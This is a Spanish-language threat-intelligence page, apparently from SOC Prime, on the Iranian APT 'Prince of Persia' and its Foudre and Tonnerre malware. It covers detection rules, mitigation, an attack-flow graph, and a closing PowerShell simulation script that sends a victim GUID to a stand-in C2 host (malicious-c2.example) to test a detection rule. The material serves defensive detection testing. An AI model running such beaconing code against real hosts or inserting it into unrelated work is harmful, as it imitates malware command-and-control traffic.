SOC Prime Bias: Crítico

23 Dic 2025 13:56

Prince of Persia: una revisión de 10 años sobre la actividad del APT iraní

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Prince of Persia: una revisión de 10 años sobre la actividad del APT iraní
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

El informe perfila al grupo APT vinculado al estado iraní denominado Príncipe de Persia y rastrea su progresión durante la última década, con énfasis en la actividad observada desde 2023 hasta 2025. Los operadores dependen de familias de malware personalizadas, incluyendo Foudre, Tonnerre, MaxPinner, Rugissement y Deep Freeze, para apoyar el espionaje y el robo sistemático de datos. Las iteraciones recientes introducen algoritmos de generación de dominios, comando y control basado en Telegram y cargas útiles SFX encriptadas para mejorar la resiliencia y el camuflaje. Los objetivos abarcan infraestructuras críticas y redes vinculadas a disidentes en múltiples regiones.

Investigación

Investigadores de SafeBreach siguieron las operaciones del grupo desde 2019, recopilando muestras frescas, documentando la arquitectura C2 y analizando la lógica del DGA. Desencriptaron cargas útiles protegidas, extrajeron credenciales de bot de Telegram y construyeron una línea de tiempo de despliegues de variantes. La investigación destaca infraestructuras separadas de producción y pruebas y detalla comportamientos de entrega de archivos vinculados a cadenas de infección impulsadas por Excel. Los indicadores de compromiso se reunieron de hashes de malware, dominios y URLs.

Mitigación

Monitorear la actividad DNS para los patrones DGA identificados, bloquear dominios maliciosos conocidos y restringir o inspeccionar el tráfico relacionado con bots de Telegram. Añadir detecciones para los nombres de archivos de malware referenciados y artefactos de DLL loaders, y usar monitoreo/sinkholing de DNS para detectar infraestructuras rotativas. Imponer lista blanca de aplicaciones y reforzar la seguridad de Office limitando los macros para reducir la probabilidad de acceso inicial.

Respuesta

Si se encuentra algún indicador, poner en cuarentena el sistema afectado, capturar evidencia volátil y ejecutar forense dirigido en archivos depositados y rutas de registro relevantes. Bloquear todos los dominios y direcciones IP vinculados, rotar los tokens de bot de Telegram expuestos y restablecer credenciales para cuentas afectadas. Buscar en todo el entorno los restos de DLL loaders personalizados y cargas SFX cifradas para asegurar la erradicación completa.

«graph TB %% Definiciones de Clase classDef action fill:#99ccff classDef malware fill:#ffcc99 classDef tool fill:#ffe699 classDef file fill:#ccffcc classDef process fill:#ffdddd classDef operator fill:#ff9900 %% Definiciones de Nodos action_initial[«<b>Acción</b> – <b>T1566.001 Spearphishing Attachment</b><br/>La víctima recibe un archivo adjunto de Excel malicioso»] class action_initial action file_excel[«<b>Archivo</b> – Excel malicioso con macro<br/>Deja caer ccupdate.tmp»] class file_excel file malware_foudre[«<b>Malware</b> – Foudre (ccupdate.tmp)<br/>Carga útil SFX cifrada»] class malware_foudre malware process_macro[«<b>Proceso</b> – Ejecución de macro»] class process_macro process action_execution[«<b>Acción</b> – <b>T1204.002 Ejecución de Usuario: Archivo Malicioso</b><br/>La víctima abre Excel»] class action_execution action action_obfuscation[«<b>Acción</b> – <b>T1027.009 Cargas Útiles Incrustadas</b><br/>Carga útil cifrada y camuflada»] class action_obfuscation action file_camDLL[«<b>Archivo</b> – DLL disfrazado como video MP4»] class file_camDLL file action_deobfuscate[«<b>Acción</b> – <b>T1140 Desofuscación/Decodificación de Archivos</b><br/>Descifra la carga útil con una contraseña codificada de forma rígida»] class action_deobfuscate action process_decrypt[«<b>Proceso</b> – Rutina de descifrado»] class process_decrypt process action_dga[«<b>Acción</b> – <b>T1568.002 Resolución Dinámica (DGA)</b><br/>Genera dominios LOS1, FTS1, u2026»] class action_dga action process_dga[«<b>Proceso</b> – Algoritmo de generación de dominios»] class process_dga process action_webc2[«<b>Acción</b> – <b>T1102.002 Comunicación Bidireccional con Servicios Web</b><br/>HTTP GET con GUID, versión, información del usuario»] class action_webc2 action process_http[«<b>Proceso</b> – Solicitud/respuesta HTTP»] class process_http process action_telegram[«<b>Acción</b> – Uso de Bot de Telegram para C2»] class action_telegram action file_tga[«<b>Archivo</b> – tga.adr (cliente bot de Telegram)»] class file_tga file process_telegram[«<b>Proceso</b> – Se comunica vía API de Telegram usando token de bot»] class process_telegram process action_exfil[«<b>Acción</b> – <b>T1041 Exfiltración a través del Canal C2</b><br/>Carga archivos robados en directorios C2»] class action_exfil action file_exfil[«<b>Archivo</b> – Nombres de archivo codificados, contenido cifrado»] class file_exfil file action_data_obfusc[«<b>Acción</b> – <b>T1001 Ofuscación de Datos</b><br/>Almacena datos exfiltrados con nombres codificados y cifrados»] class action_data_obfusc action %% Conexiones que muestran el flujo action_initial u002du002d>|entrega| file_excel file_excel u002du002d>|deja caer| malware_foudre malware_foudre u002du002d>|ejecuta vía| process_macro process_macro u002du002d>|conduce a| action_execution action_execution u002du002d>|activa| action_obfuscation action_obfuscation u002du002d>|usa| file_camDLL action_obfuscation u002du002d>|conduce a| action_deobfuscate action_deobfuscate u002du002d>|ejecuta| process_decrypt process_decrypt u002du002d>|produce| malware_foudre malware_foudre u002du002d>|inicia| action_dga action_dga u002du002d>|ejecuta| process_dga process_dga u002du002d>|resuelve a| action_webc2 action_webc2 u002du002d>|usa| process_http process_http u002du002d>|descarga| file_tga file_tga u002du002d>|habilita| action_telegram action_telegram u002du002d>|usa| process_telegram process_telegram u002du002d>|exfiltra vía| action_exfil action_exfil u002du002d>|almacena como| file_exfil file_exfil u002du002d>|aplica| action_data_obfusc «

Flujo de Ataque

Detecciones

Posible Uso Abusivo de Telegram Como Canal de Comando y Control (vía dns_query)

Equipo SOC Prime
22 Dic 2025

Posible Infiltración / Exfiltración de Datos / C2 a través de Servicios/ Herramientas de Terceros (vía proxy)

Equipo SOC Prime
22 Dic 2025

Comando y Control Sospechoso por Solicitud DNS de Dominio de Nivel Superior (TLD) Inusual (vía dns)

Equipo SOC Prime
22 Dic 2025

Ejecución Sospechosa de Taskkill (vía cmdline)

Equipo SOC Prime
22 Dic 2025

IOCs (HashSha256) para detectar: 18 DIC 2025 Príncipe de Persia: Una Década de Actividades de Campaña APT del Estado Nación Iraní Bajo el Microscopio Parte 2

Reglas de IA de SOC Prime
22 Dic 2025

IOCs (SourceIP) para detectar: 18 DIC 2025 Príncipe de Persia: Una Década de Actividades de Campaña APT del Estado Nación Iraní Bajo el Microscopio

Reglas de IA de SOC Prime
22 Dic 2025

IOCs (HashSha256) para detectar: 18 DIC 2025 Príncipe de Persia: Una Década de Actividades de Campaña APT del Estado Nación Iraní Bajo el Microscopio Parte 1

Reglas de IA de SOC Prime
22 Dic 2025

IOCs (HashMd5) para detectar: 18 DIC 2025 Príncipe de Persia: Una Década de Actividades de Campaña APT del Estado Nación Iraní Bajo el Microscopio

Reglas de IA de SOC Prime
22 Dic 2025

IOCs (DestinationIP) para detectar: 18 DIC 2025 Príncipe de Persia: Una Década de Actividades de Campaña APT del Estado Nación Iraní Bajo el Microscopio

Reglas de IA de SOC Prime
22 Dic 2025

Detección de Infección Foudre v34 a través de Archivo Excel con Ejecutable Embebido [Creación de Proceso de Windows]

Reglas de IA de SOC Prime
22 Dic 2025

Detección de Comunicación C2 de Foudre y Tonnerre [Conexión de Red de Windows]

Reglas de IA de SOC Prime
22 Dic 2025

Ejecución de Simulación

Prerequisito: La Verificación Previa de Telemetría y Línea Base debe haber pasado.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica adversaria (T1584.005) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente las TTPs identificadas y apuntar a generar exactamente la telemetría esperada por la lógica de detección.

  • Narrativa del Ataque y Comandos:
    El actor de la amenaza ha aprovisionado un dominio malicioso malicious-c2.example que aloja el servidor C2 de Foudre/Tonnerre. La carga útil del atacante en la máquina de la víctima realiza dos solicitudes HTTP GET:

    1. Envía el GUID de la víctima al endpoint C2 de Foudre usando el camino /1/?c=<GUID>.
    2. Contacta la API de Telegram a través del backdoor Tonnerre usando el camino /t/tga.adr.

    Ambas solicitudes se realizan sobre HTTP (para simplificar el registro de proxy) e incluyen un User-Agent genérico para mezclarse con el tráfico normal. Las acciones generan los campos exactos (request_method=GET, url conteniendo las subcadenas objetivo) que la regla Sigma busca.

  • Script de Prueba de Regresión:

    # ------------------------------------------------------------
    # Simulación de Comunicación C2 de Foudre & Tonnerre (Windows)
    # ------------------------------------------------------------
    
    # 1. Definir GUID de víctima (en una infección real, esto se leería del registro)
    $guid = (New-Guid).Guid
    
    # 2. Definir host C2 malicioso (reemplazar con una dirección que controles para pruebas)
    $c2Host = "http://malicious-c2.example"
    
    # 3. Enviar GUID al endpoint C2 de Foudre
    $foudreUrl = "$c2Host/1/?c=$guid"
    Write-Host "[*] Enviando GUID a Foudre C2: $foudreUrl"
    Invoke-WebRequest -Uri $foudreUrl -Method GET -UseBasicParsing
    
    # 4. Contactar la API de Telegram vía backdoor Tonnerre
    $telegramUrl = "$c2Host/t/tga.adr"
    Write-Host "[*] Contactando el endpoint de API de Telegram: $telegramUrl"
    Invoke-WebRequest -Uri $telegramUrl -Method GET -UseBasicParsing
    
    Write-Host "[+] Simulación completa. Verificar SIEM para alertas."

    El script es autónomo; ejecutarlo en un host Windows que enrute tráfico a través del proxy configurado producirá dos entradas de registro que coinciden con url|contains las condiciones de la regla Sigma.

  • Comandos de Limpieza:

    # Eliminar cualquier conexión de red temporal (solo relevante si el proxy crea sesiones persistentes)
    # Aquí simplemente limpiamos la caché DNS para evitar resolución persistente del host malicioso.
    ipconfig /flushdns
    Write-Host "[*] Limpieza completa."